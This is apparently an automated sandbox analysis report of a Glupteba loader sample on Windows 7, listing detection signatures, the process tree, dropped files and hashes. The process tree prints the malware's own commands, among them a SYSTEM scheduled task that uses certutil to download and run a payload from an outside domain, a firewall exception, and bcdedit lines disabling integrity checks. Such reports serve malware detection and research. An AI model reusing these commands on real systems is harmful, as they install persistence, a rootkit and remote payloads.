Analysis

  • max time kernel
    150s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    16/01/2024, 15:46

General

  • Target

    6043ead64c148a5cc28fac2aa7c7c924.exe

  • Size

    4.5MB

  • MD5

    6043ead64c148a5cc28fac2aa7c7c924

  • SHA1

    a8dfc989fb42f41a4b908bc9c18ed701fb64c4e7

  • SHA256

    3dd82819d8eb2be6e46f50381ea3f93e398e0fa9ea12f7225a12f312d48eea0e

  • SHA512

    1e2a5116d25d7d0a3059a95c4109b8d2789613b1be47952d4cb8c7e8d6e6a83f32b1e7bf3eefbbe9b1fa2b827ca6b46c1ef71f64a48df328860702a7d431a2b7

  • SSDEEP

    98304:9nPlaj7p8ntUSJDmaLZggnIRbB2lf9WQpsVVy5WHwCbbxC/g:9n9SqUGXfnIR8pYQClQDI

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 21 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Windows security bypass 2 TTPs 10 IoCs
  • Modifies boot configuration data using bcdedit 14 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 13 IoCs
  • Windows security modification 2 TTPs 10 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMon driver. 1 IoCs

    Roottkits write to WinMon to hide PIDs from being detected.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Drops file in System32 directory 6 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 3 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • GoLang User-Agent 3 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 17 IoCs
  • Suspicious behavior: EnumeratesProcesses 61 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 62 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\6043ead64c148a5cc28fac2aa7c7c924.exe
    "C:\Users\Admin\AppData\Local\Temp\6043ead64c148a5cc28fac2aa7c7c924.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2084
    • C:\Users\Admin\AppData\Local\Temp\6043ead64c148a5cc28fac2aa7c7c924.exe
      "C:\Users\Admin\AppData\Local\Temp\6043ead64c148a5cc28fac2aa7c7c924.exe"
      2⤵
      • Windows security bypass
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2892
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2432
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Loads dropped DLL
        • Manipulates WinMon driver.
        • Manipulates WinMonFS driver.
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2712
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:2820
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:2836
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies system certificate store
          • Suspicious use of WriteProcessMemory
          PID:1092
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2900
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1592
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:3064
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1744
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1656
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2308
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1120
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:3056
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1752
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2076
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:816
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -timeout 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1524
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1972
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1556
        • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          4⤵
          • Executes dropped EXE
          PID:2264
        • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
          C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:1704
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240116154644.log C:\Windows\Logs\CBS\CbsPersist_20240116154644.cab
    1⤵
    • Drops file in Windows directory
    PID:2296
  • C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
    1⤵
    • Modifies Windows Firewall
    • Modifies data under HKEY_USERS
    PID:2008

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\AAF33CF37E194E98957768CF9C02DE8E2\download.error

          Filesize

          994KB

          MD5

          10d0e7ce8f451f44cff3a3f03f4a6d40

          SHA1

          6836fb9c457c85e7c5d6468a3206a706db7b9f2c

          SHA256

          e6fa45ab29bf3fd85eaad315897c3e09f675be0365f1ca41e4150ed36512b7c5

          SHA512

          6e09973c5cb5b9b6c0de0c8ef02a2fefed915b9e642cfd04ab6b1b09bffec7b292d9df26f1777b1a13bfa16415692db0fb898cdee5c1e5241580b6d2750b8966

        • C:\Users\Admin\AppData\Local\Temp\Symbols\winload_prod.pdb\768283CA443847FB8822F9DB1F36ECC51\download.error

          Filesize

          395KB

          MD5

          5da3a881ef991e8010deed799f1a5aaf

          SHA1

          fea1acea7ed96d7c9788783781e90a2ea48c1a53

          SHA256

          f18fdb9e03546bfb98397bcb8378b505eaf4ac061749229a7ee92a1c3cf156e4

          SHA512

          24fbcb5353a3d51ee01f1de1bbb965f9e40e0d00e52c42713d446f12edceeb8d08b086a8687a6188decaa8f256899e24a06c424d8d73adaad910149a9c45ef09

        • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

          Filesize

          94KB

          MD5

          d98e78fd57db58a11f880b45bb659767

          SHA1

          ab70c0d3bd9103c07632eeecee9f51d198ed0e76

          SHA256

          414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

          SHA512

          aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

          Filesize

          482KB

          MD5

          f9e7eeb9f17878d865f882035612d77f

          SHA1

          ddd7fcae7f514cd5718c8b8ee07bfe72a549b325

          SHA256

          6e4c0d96025fb0293be355baaeb92e6a581472353386a08cb8f736c1e674b277

          SHA512

          036b555134976db423113239bb98bdf78249d537c1d2f84fadbf3e6358a4a3b70665b39ec6b177afc17aa94cff1dd573df16fd3d8634141bf5233859c2b1735c

        • C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

          Filesize

          214KB

          MD5

          711bd125f89b5b939ae23a932840f7c4

          SHA1

          bff2ab63c676e8da2927c21d9d2027be03d41cd7

          SHA256

          f12f8e160f0be53afad2efb5559f5c3271b118f6813a00010304ff84b0de2b6b

          SHA512

          4b43400abd848ad667ef3baae61dd8c47fbfd12e9bc2ee5e08895e18bcbf195d8ea47daf1975230897809b1da30e1fe3c42d9de1a785e08aefe180a49c11480c

        • C:\Users\Admin\AppData\Local\Temp\osloader.exe

          Filesize

          443KB

          MD5

          70fb678222eda7b8d808984b7813f186

          SHA1

          dbf9d27885fb940ae1de9c0e5695c23eff49eb1f

          SHA256

          52788473e55d0ac464ef48efb225658996e74d29870288e33a9eb56e5c8afdf7

          SHA512

          9e787750dced13f11f255ffeb516dca1e06974349eba9019bdf8a5da9fb071285a34fe23380108e90e2d87a44aa7e37682a72ce4ab3915e5476d35ec43be4aad

        • C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

          Filesize

          65KB

          MD5

          ac05d27423a85adc1622c714f2cb6184

          SHA1

          b0fe2b1abddb97837ea0195be70ab2ff14d43198

          SHA256

          c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

          SHA512

          6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

        • C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

          Filesize

          1KB

          MD5

          a266bb7dcc38a562631361bbf61dd11b

          SHA1

          3b1efd3a66ea28b16697394703a72ca340a05bd5

          SHA256

          df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

          SHA512

          0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

        • C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

          Filesize

          344B

          MD5

          d4ba21369c90587e613d165921b2fd3e

          SHA1

          71b354d02d2ed87462c2a692984dc1be424c73e1

          SHA256

          5ce1f2c47d76d3f71e59cd0d1405fcf6294a52f74cbecbad53219929e77f37f1

          SHA512

          71f2e91bc7a240ccf10df60ca785f859d2e3f76445305a580bf562bf0f8fccd02994c930f456fcc213afaf7ae818c49dcff52faa25631481fea96a78aa8dfdff

        • C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

          Filesize

          344B

          MD5

          2e3f49131fc0c716042bc726d9b4ced5

          SHA1

          6ca6ff0733dfa5efa2eb51975794b17b0e25efe3

          SHA256

          23c4d4ad17314b69ab00fd4658bf3eb7d4ca874403baae36a3b28dec8ef858fd

          SHA512

          0f9c49536697b859e0f46e4b2ed55cf386ef6763e3f94f7d4b079a89adcfc841fde2503f2e2898822130deefb97e891efa11d0597ec8214c4a3aaf74af26ebec

        • C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

          Filesize

          242B

          MD5

          e7c112fc470bb3e64af27778a656b9d6

          SHA1

          47c0cff80911bb44ac61f569a9205ddeee892f2d

          SHA256

          5bc0bdea0e3981186fff36bf3c87178e53da4c7097999fffe44a3e6c0689b768

          SHA512

          093c6382d5058e5cb6ab1de7d0ba31df1c449c588c0eea31d27c5a7e82b802e3d1c1684f2fadb94cea6f4ab5478c7739ee642339cbb69178697e801cfff59121

        • C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

          Filesize

          242B

          MD5

          a1987367e7cd45feae1af78b70da949f

          SHA1

          6cfecddc0ef3b9ee6e4c54da17f6a46997b05ba2

          SHA256

          8cf03005f159f3897e0bc842ca922ec14464c15251ca76d5842e30f2521b7e5a

          SHA512

          773f022a6ac6bb4172e21511729d403b69004e6a34118acdef694fbabbf1336deedbd5f8bd4584006cfe839700480d2a0ec801385354967b6238ae9d55b70cef

        • C:\Windows\Temp\Tar8828.tmp

          Filesize

          127KB

          MD5

          04ffba8adebf33c11e9315c4c8f09408

          SHA1

          b2827bae8dc245a1c1ee3b4f02f75abd3fdce43d

          SHA256

          bc4260ef11cc973657e83384d7b392b52c5e2ad43591b466af59f43223a89430

          SHA512

          a40879ada90b584cf3dc4afe4fb283d8f1ae90c0cff4d774bd13be821284e699841125ab53d79fa671ede4ef562b211fb5522d6fd62404b11fa93929caa36a55

        • C:\Windows\rss\csrss.exe

          Filesize

          220KB

          MD5

          ca28e2326ec868889e956b3d116667c1

          SHA1

          6830b9bde8396dae3a21a8ec776d6c78880cb3b6

          SHA256

          55a8f7614f6e28af579b97cad4b62c4d619d085a028e89d88c3bcec99f2d196c

          SHA512

          eff8be5bedbcd46842dc5864c730254cc5ca4f8910be8d659c03a7a56ca378972c17235bc56ee4876eb3593bcc37fbe11e4e8c3fa8fcae902dbe4a0db64d40c4

        • C:\Windows\rss\csrss.exe

          Filesize

          150KB

          MD5

          50f2063d69da231cb5c1c93794c11bf9

          SHA1

          7e81c1556a540ff575f2295d0d375f03989705bb

          SHA256

          b27cf7c5675753f845b33c09d517074259a9f72d351709b97693e62e494130a7

          SHA512

          d3d9a3708f38f11fa589b4acba7af98adf3ed233d86842179730e807085dbd6da3180290d7d2c2cc7708e54d02b0b7268856ab9ee5997c51d6fe08af98b23502

        • C:\Windows\rss\csrss.exe

          Filesize

          809KB

          MD5

          8387a8587f62304c08d9f7fde3b58dbc

          SHA1

          6e163c2011ca0ef1becbb19d089c221a369745ca

          SHA256

          1f9287022b325eee81d6675e399cf3fe9c9f3930576901343aef8bd1bafdef6a

          SHA512

          977925021d9878381c5b6678955f569c3fc28649d741a07549ca7d8d702ef73792a678bff46130426da68d3a609d91d167850848c1b94eff6292add099a704c4

        • \Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

          Filesize

          281KB

          MD5

          d98e33b66343e7c96158444127a117f6

          SHA1

          bb716c5509a2bf345c6c1152f6e3e1452d39d50d

          SHA256

          5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

          SHA512

          705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

        • \Users\Admin\AppData\Local\Temp\csrss\patch.exe

          Filesize

          411KB

          MD5

          62787da74b112fbb0bcee3d74f8483ab

          SHA1

          a125b1e922aeb01227795c00123ae946acc139b0

          SHA256

          b4a74859f18afdc8ab97a79c46fd629791eca1b77642759ab538261bc8ddb1c7

          SHA512

          4279f282c35053b91b67e85f6c309f7d240ce871d48325b81e44a388ffd78a9375111744dd61e287f71f123b039411cdf410fcd483da38a51c77aca8e9bf2dfc

        • \Users\Admin\AppData\Local\Temp\dbghelp.dll

          Filesize

          352KB

          MD5

          36bc086e6cc85b7d2ea4b0f091ab4e84

          SHA1

          a54de8f8a02c387df684d4d91e08af998dd0e265

          SHA256

          ba658eadb795a23cada50b13128fc1703c8a9bb91128fc38056b77f0650be2bf

          SHA512

          b644aada05a448063031f17222f380fcf5ed124781e5f5da56501ce89e43dc2be404eed83587c387181c23f3ff696936c32b574d4da2e1898fa1052dabfb6a72

        • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

          Filesize

          390KB

          MD5

          91ed92453ff82866e6b9fa48aa4f695c

          SHA1

          71d89f5abc15b9e5aa9eeaf0fb2746ba50e0452c

          SHA256

          9dbe1f4fe3351cdef2f165a5df8a6757ea48d21bc4ac6f37aaef344053582eaa

          SHA512

          44a80212defc68bf8009adfa5e2c2bd5c9f0a3053ddf4563c55994a2ecc9a932285294171209016462ec32cc7dc7511431a3be67e1ea350c78e5cf3cd0a24afb

        • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

          Filesize

          147KB

          MD5

          6e0721d46459144c7a1378b9f191529e

          SHA1

          e513584bd0b693cffb2e9d25fe56e15524789353

          SHA256

          87b3c1a5cecf9631d8b60a7025d0ca790093e9a105b9e357d782b19aea38a081

          SHA512

          da4d6e6400ea1a0e9b047103b68dc5e24d41aec33195138bdf7655962d5a441f2fccb13502a9babe47222597771c68064368c5d2467e27c60a9e8fe709ea6c0b

        • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

          Filesize

          256KB

          MD5

          6a65e150434280b53741579f9582a140

          SHA1

          9bf7f126a9ee7cf7f5c17af61e6db72f3c210b8a

          SHA256

          1ea5e546a37263c55f34513832463bcc5bcbbdcbcc13f25e0630031d885e195e

          SHA512

          7c4a40380161281c3879010490a447fbd2ccfd61531238ce212c265a9f85693f2b9750deb4a016d790973bdedc9e810cc7506a9d7843779cca18e78528c9f1fa

        • \Users\Admin\AppData\Local\Temp\osloader.exe

          Filesize

          552KB

          MD5

          6dfec3a516e730951a0d9e73aaf5f4e1

          SHA1

          1024bd3b05682e8f501a4d2ec7b780f8ce2d8216

          SHA256

          3afe794e3cc3d5fe464f18ea261a792dfdb39ef3fba24ca6a00c9e8132922185

          SHA512

          3c015aa83649adb7453cb04cdeb1fd9f2018f2aa0e61dc728ec8a624786bd080b2e95ef1a3ed76f9551fab2a7ade3196cdbe2d97ddd852562bebddfd0edbfdf6

        • \Users\Admin\AppData\Local\Temp\osloader.exe

          Filesize

          429KB

          MD5

          1cdaf02953d501ebf2871e9eea675690

          SHA1

          516aee3fb38c4624b0b73bb8287afb63347e4360

          SHA256

          40bef6aa1007c65dbfe596e01a64e10c291c2829152109e215fe0537201facdb

          SHA512

          5765bd12bd8e79ce5a1f2ecb6ddd915fd0d8ff1d8ee5ddeb79d616c31f8c2ae3cc54c0c5bccdedd7f81cc4d5de24f25670c189456008903e613b6e78d8bc2bb4

        • \Users\Admin\AppData\Local\Temp\osloader.exe

          Filesize

          421KB

          MD5

          3bff6d3f570cc31ce4278854d699993a

          SHA1

          df958d06bb3e0a0e46379edd7c1b9dc2b5926c57

          SHA256

          f3d11f5775cc418e19fb32980953740a11b97629fac6e159adf4f925fb2dbddd

          SHA512

          71a266ea0cead75b0c337cc99a9ab9ba374afa1f1ed1d9fa10bc34698c14290a7e80fd5ca278cc89a82328f028d40824f4425ae4e38a0d9428246e54ef96aa87

        • \Users\Admin\AppData\Local\Temp\symsrv.dll

          Filesize

          163KB

          MD5

          5c399d34d8dc01741269ff1f1aca7554

          SHA1

          e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

          SHA256

          e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

          SHA512

          8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

        • \Windows\rss\csrss.exe

          Filesize

          163KB

          MD5

          43e8dbe258ff20853ec70052759fad42

          SHA1

          53911739bb4f188c542f9359104aac9c797f3a6d

          SHA256

          8697bc8186ecaaa8ae909d0e3cf3528af24b95c73d69baeb914ffd01017300fb

          SHA512

          74db0bd5b9dff163e2bc6fcd903b591482c2b25ea25bda8ff234709665842066f5240081528a5d20fec1960a36b79fb8c6a6eef8021a707b559584165d7332d4

        • \Windows\rss\csrss.exe

          Filesize

          286KB

          MD5

          8db37f0561f3567076cf73ae5bb45ad7

          SHA1

          8350946d3f614a102a6b41d10803a5f842397d46

          SHA256

          f2c83e814cff74fc34bf0525a2345073b8cc37dcf93141c7b5ccb0a27bf2014e

          SHA512

          38f6118a3e3aba471c70cb1e4151f7efe90d7dff4b40fab192b796c1a9b5ac69c447447168074447671f32327636513b1e68e9059a5908299fe8ae00441c6aed

        • memory/1092-41-0x0000000140000000-0x00000001405E8000-memory.dmp

          Filesize

          5.9MB

        • memory/1092-55-0x0000000140000000-0x00000001405E8000-memory.dmp

          Filesize

          5.9MB

        • memory/2084-6-0x0000000002B10000-0x0000000003436000-memory.dmp

          Filesize

          9.1MB

        • memory/2084-0-0x00000000026D0000-0x0000000002B0C000-memory.dmp

          Filesize

          4.2MB

        • memory/2084-7-0x00000000026D0000-0x0000000002B0C000-memory.dmp

          Filesize

          4.2MB

        • memory/2084-1-0x00000000026D0000-0x0000000002B0C000-memory.dmp

          Filesize

          4.2MB

        • memory/2084-2-0x0000000002B10000-0x0000000003436000-memory.dmp

          Filesize

          9.1MB

        • memory/2084-3-0x0000000000400000-0x0000000000D41000-memory.dmp

          Filesize

          9.3MB

        • memory/2084-4-0x0000000000400000-0x0000000000D41000-memory.dmp

          Filesize

          9.3MB

        • memory/2712-231-0x0000000002590000-0x00000000029CC000-memory.dmp

          Filesize

          4.2MB

        • memory/2712-33-0x0000000002590000-0x00000000029CC000-memory.dmp

          Filesize

          4.2MB

        • memory/2712-232-0x0000000000400000-0x0000000000D41000-memory.dmp

          Filesize

          9.3MB

        • memory/2712-236-0x0000000000400000-0x0000000000D41000-memory.dmp

          Filesize

          9.3MB

        • memory/2712-237-0x0000000000400000-0x0000000000D41000-memory.dmp

          Filesize

          9.3MB

        • memory/2712-238-0x0000000000400000-0x0000000000D41000-memory.dmp

          Filesize

          9.3MB

        • memory/2712-239-0x0000000000400000-0x0000000000D41000-memory.dmp

          Filesize

          9.3MB

        • memory/2712-35-0x0000000000400000-0x0000000000D41000-memory.dmp

          Filesize

          9.3MB

        • memory/2712-327-0x0000000000400000-0x0000000000D41000-memory.dmp

          Filesize

          9.3MB

        • memory/2712-323-0x0000000000400000-0x0000000000D41000-memory.dmp

          Filesize

          9.3MB

        • memory/2712-31-0x0000000002590000-0x00000000029CC000-memory.dmp

          Filesize

          4.2MB

        • memory/2712-163-0x0000000000400000-0x0000000000D41000-memory.dmp

          Filesize

          9.3MB

        • memory/2712-326-0x0000000000400000-0x0000000000D41000-memory.dmp

          Filesize

          9.3MB

        • memory/2712-322-0x0000000000400000-0x0000000000D41000-memory.dmp

          Filesize

          9.3MB

        • memory/2712-325-0x0000000000400000-0x0000000000D41000-memory.dmp

          Filesize

          9.3MB

        • memory/2712-292-0x0000000000400000-0x0000000000D41000-memory.dmp

          Filesize

          9.3MB

        • memory/2712-324-0x0000000000400000-0x0000000000D41000-memory.dmp

          Filesize

          9.3MB

        • memory/2892-30-0x0000000000400000-0x0000000000D41000-memory.dmp

          Filesize

          9.3MB

        • memory/2892-19-0x0000000002700000-0x0000000002B3C000-memory.dmp

          Filesize

          4.2MB

        • memory/2892-20-0x0000000002B40000-0x0000000003466000-memory.dmp

          Filesize

          9.1MB

        • memory/2892-21-0x0000000000400000-0x0000000000D41000-memory.dmp

          Filesize

          9.3MB

        • memory/2892-32-0x0000000002700000-0x0000000002B3C000-memory.dmp

          Filesize

          4.2MB

        • memory/2892-5-0x0000000002700000-0x0000000002B3C000-memory.dmp

          Filesize

          4.2MB